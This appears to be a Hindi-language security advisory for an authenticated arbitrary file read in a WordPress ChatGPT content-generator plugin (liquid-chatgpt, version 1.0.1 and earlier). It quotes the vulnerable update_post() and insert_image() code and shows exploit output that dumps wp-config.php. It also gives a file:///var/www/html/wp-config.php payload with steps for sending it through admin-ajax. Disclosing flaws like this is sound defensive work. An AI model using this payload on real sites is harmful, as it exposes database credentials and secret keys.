
वर्डप्रेस के लिए AI इंजन: ChatGPT, GPT Content Generator <= 1.0.1 - प्रमाणित (Contributor+) मनमानी फ़ाइल पढ़ना
वर्डप्रेस के लिए AI Engine प्लगइन में इसकी छवि सम्मिलित करने की सुविधा में एक कमजोरी है जो किसी भी प्रमाणित उपयोगकर्ता को पोस्ट संपादन क्षमताओं वाले (योगदानकर्ता, लेखक, संपादक, व्यवस्थापक) को सर्वर से मनमानी फ़ाइलें डाउनलोड करने की अनुमति देती है। यह कमजोरी lqdai_update_post AJAX एंडपॉइंट में उचित क्षमता जांच की कमी और insert_image() फ़ंक्शन द्वारा file_get_contents() का उपयोग करने के कारण उत्पन्न होती है, जो उपयोगकर्ता-नियंत्रित URLs का प्रोटोकॉल सत्यापन के बिना उपयोग करता है, जिससे file:// प्रोटोकॉल के माध्यम से मनमानी फ़ाइल डाउनलोड की अनुमति मिलती है।
wp-config.php फ़ाइल डाउनलोड करने का प्रदर्शन करता है। python3 ./exploit.py http://techcorp.cc contributor password
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
lqdai_update_post AJAX क्रिया /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php की पंक्ति 315 पर update_post() फ़ंक्शन को कॉल करती है, जिसमें उचित क्षमता जांच का अभाव है और यह किसी भी प्रमाणित उपयोगकर्ता को उन पोस्ट को संशोधित करने की अनुमति देती है जिन्हें वे संपादित कर सकते हैं:
function update_post() {
if ( empty( $posts = $_POST['posts'] ) ) {
wp_send_json( [
'error' => true,
'message' => __( 'Data is null!', 'lqdai' ),
] );
}
$args = [
'ID' => $posts['post_id'],
'post_title' => $posts['title'],
'post_content' => $posts['content'],
'post_status' => 'draft',
];
$update_post = wp_update_post( $args );
if ( is_wp_error( $update_post ) ) {
wp_send_json( [
'error' => true,
'message' => $update_post->get_error_messages()
] );
} else {
wp_set_post_tags( $posts['post_id'], $posts['tags'], false );
if ( !empty( $posts['image'] ) ) {
$this->insert_image( $posts['post_id'], $posts['image'] ); // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
}
}
}
insert_image() फ़ंक्शन पंक्ति 419 पर file_get_contents() का उपयोग करता है, जो बिना प्रोटोकॉल सत्यापन के उपयोगकर्ता-नियंत्रित URLs के साथ होता है, जिससे मनमानी फ़ाइल डाउनलोड की अनुमति मिलती है:
function insert_image( $post_id, $image_url ) {
// Get the path to the uploads directory
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// Save the image to the uploads directory
if ( wp_mkdir_p($upload_dir['path']) ) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // <-- WRITES
// Get the attachment ID for the image
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
// Set the attachment ID as the featured image for the post
set_post_thumbnail($post_id, $attachment_id);
}
कमजोर पथ निर्माण file:// प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलों को पढ़ने की अनुमति देता है:
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';
// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url); // Reads /var/www/html/wp-config.php
// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'
// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data); // Writes wp-config.php content
lqdai_update_post क्रिया को कॉल करने वाले /wp-admin/admin-ajax.php अनुरोध को इंटरसेप्ट करें।posts[image] पैरामीटर में एक file:// प्रोटोकॉल URL शामिल करने के लिए संशोधित करें।posts[image]=file:///var/www/html/wp-config.php के साथ अनुरोध भेजें।/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg।